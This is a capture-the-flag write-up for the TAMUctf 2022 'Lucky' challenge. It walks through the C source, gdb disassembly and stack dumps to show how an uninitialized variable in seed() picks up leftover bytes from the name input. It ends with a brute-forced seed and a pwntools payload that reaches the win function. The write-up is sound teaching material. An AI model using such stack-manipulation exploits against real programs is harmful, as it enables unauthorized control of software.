tamuctf 2022 - Lucky
tamuctf 2022: Lucky
Author: nhwn
Feeling lucky? I have just the challenge for you :D
Reference
I could not solve this on my own so I had to refer to this writeup:
https://github.com/tj-oconnor/ctf-writeups/tree/main/tamu_ctf/lucky
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
void welcome() {
char buf[16];
printf("Enter your name: ");
fgets(buf, sizeof(buf), stdin);
printf("\nWelcome, %s\nIf you're super lucky, you might get a flag! ", buf);
}
int seed() {
char msg[] = "GLHF :D";
printf("%s\n", msg);
int lol;
return lol;
}
void win() {
char flag[64] = {0};
FILE* f = fopen("flag.txt", "r");
fread(flag, 1, sizeof(flag), f);
printf("Nice work! Here's the flag: %s\n", flag);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
welcome();
srand(seed());
int key0 = rand() == 306291429;
int key1 = rand() == 442612432;
int key2 = rand() == 110107425;
if (key0 && key1 && key2) {
win();
} else {
printf("Looks like you weren't lucky enough. Better luck next time!\n");
}
}
In welcome()
function, before fgets
gets called, rbp-0x10
which is the address to buf
is loaded into rax
. I passed in aaaabaaacaaadaaaeaaafaaag
, the buffer was filled with aaaabaaacaaadaa\0
.
Dump of assembler code for function welcome:
0x00005555555551a5 <+0>: push rbp
0x00005555555551a6 <+1>: mov rbp,rsp
0x00005555555551a9 <+4>: sub rsp,0x10 # grow stack by 16 bytes
0x00005555555551ad <+8>: lea rdi,[rip+0xe54] # 0x555555556008
0x00005555555551b4 <+15>: mov eax,0x0
0x00005555555551b9 <+20>: call 0x555555555050 <printf@plt>
0x00005555555551be <+25>: mov rdx,QWORD PTR [rip+0x2ebb] # 0x555555558080 <stdin@@GLIBC_2.2.5>
0x00005555555551c5 <+32>: lea rax,[rbp-0x10]
0x00005555555551c9 <+36>: mov esi,0x10
0x00005555555551ce <+41>: mov rdi,rax
0x00005555555551d1 <+44>: call 0x555555555070 <fgets@plt>
# rbp-0x10 which is 0x7fffffffe160 points to the start of the string input
# from the command line aaaabaaacaaadaa
=> 0x00005555555551d6 <+49>: lea rax,[rbp-0x10]
0x00005555555551da <+53>: mov rsi,rax # put the result as the second
# argument to printf
0x00005555555551dd <+56>: lea rdi,[rip+0xe3c] # 0x555555556020
# rdi has the whole string that gets printed to the screen
0x00005555555551e4 <+63>: mov eax,0x0
0x00005555555551e9 <+68>: call 0x555555555050 <printf@plt>
# once printf gets called, the string now contains the buf
0x00005555555551ee <+73>: nop
0x00005555555551ef <+74>: leave
0x00005555555551f0 <+75>: ret
When I printed out info frame for welcome function, it gave me:
1
2
3
4
5
6
7
Stack level 0, frame at 0x7fffffffe180:
rip = 0x5555555551b4 in welcome; saved rip = 0x5555555552df
called by frame at 0x7fffffffe1a0
Arglist at 0x7fffffffe170, args:
Locals at 0x7fffffffe170, Previous frame's sp is 0x7fffffffe180
Saved registers:
rbp at 0x7fffffffe170, rip at 0x7fffffffe178
So, the base pointer is at 170. Once fgets returns, its return values goes into rax
and rax
has 15 bytes of characters aaaabaaacaaadaa
and one bye of null character. When the flow returns to the main function before calling seed
function, rsi
still has the output that was used by the welcome function (later I figured this didn’t really matter).
Dump of assembler code for function seed:
0x00005555555551f1 <+0>: push rbp
0x00005555555551f2 <+1>: mov rbp,rsp
0x00005555555551f5 <+4>: sub rsp,0x10
0x00005555555551f9 <+8>: movabs rax,0x443a2046484c47
0x0000555555555203 <+18>: mov QWORD PTR [rbp-0xc],rax
0x0000555555555207 <+22>: lea rax,[rbp-0xc]
# this instruction overwrites some of the characters of aaaabaaacaaadaa
# so, before, it was:
# 0x7fffffffe160: 0x61 0x61 0x61 0x61 0x62 0x61 0x61 0x61
# 0x7fffffffe168: 0x63 0x61 0x61 0x61 0x64 0x61 0x61 0x00
# but after:
# 0x7fffffffe160: 0x61 0x61 0x61 0x61 0x47 0x4c 0x48 0x46
# 0x7fffffffe168: 0x20 0x3a 0x44 0x00 0x64 0x61 0x61 0x00
0x000055555555520b <+26>: mov rdi,rax
0x000055555555520e <+29>: call 0x555555555030 <puts@plt>
# printf is replaced with puts by the compiler
0x0000555555555213 <+34>: mov eax,DWORD PTR [rbp-0x4]
# this is where eax contains the return value of `lol` variable
# rbp is 0x7fffffffe170 and subtracting 4 bytes gives us
# 0x7fffffffe16c which I belive the start of `int lol` variable
# if you examine the next four bytes from 0x7fffffffe16c, you can see
# 0x7fffffffe16c: 0x64 0x61 0x61 0x00
# this is 'daa' which is the last three characters from the stdin we entered
earlier
# (of course, this is shown with the little-endian format)
# now we know that we can try to manipulate these four bytes with the value
# that would make the condition satisfy so it would execute the win func
=> 0x0000555555555216 <+37>: leave
0x0000555555555217 <+38>: ret
Since srand()
is dictated by the return value of seed()
, we would want to overwrite/manipulate the return value of seed()
somehow.
When seed() is being called and run, rsp ~ rsp+16 bytes still has some of the leftover strings from the win function and GLHF :D
.
1
2
3
pwndbg> x/16cb $rsp
0x7fffffffe160: 97 'a' 97 'a' 97 'a' 97 'a' 71 'G' 76 'L' 72 'H' 70 'F'
0x7fffffffe168: 32 ' ' 58 ':' 68 'D' 0 '\000' 100 'd' 97 'a' 97 'a' 0 '\000'
And, again, before the seed function returns, eax has 0x616164
which is daa
in little-endian format.
Now, we need to know the seed value that will satisfy the if condition to execute the win function.
1
2
3
4
5
6
7
int key0 = rand() == 306291429;
int key1 = rand() == 442612432;
int key2 = rand() == 110107425;
if (key0 && key1 && key2) {
win();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int i = 0;
while (1) {
srand(i);
int key0 = rand() == 306291429;
int key1 = rand() == 442612432;
int key2 = rand() == 110107425;
if (key0 && key1 && key2) {
printf("seed = %i", i);
exit(0);
} else {
i++;
}
After running the program, we know that the seed value must be 5649426
. And we know daa
is where we need to put the seed value in.
12 bytes of string + 5649426
We can create a short python script that does this for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
import pwn
elf = pwn.context.binary = pwn.ELF("./lucky")
#p = pwn.remote("tamuctf.com", 433, ssl=True, sni="lucky")
p = pwn.process(["./lucky"])
payload = b'A'*12
payload += pwn.p64(5649426)
p.sendline(payload)
p.interactive()
Result:
1
2
3
4
5
6
7
[+] Starting local process './lucky': pid 132488
[*] Switching to interactive mode
[*] Process './lucky' stopped with exit code 0 (pid 132488)
Enter your name:
Welcome, AAAAAAAAAAAA\x12V
If you're super lucky, you might get a flag! GLHF :D
Nice work! Here's the flag: flag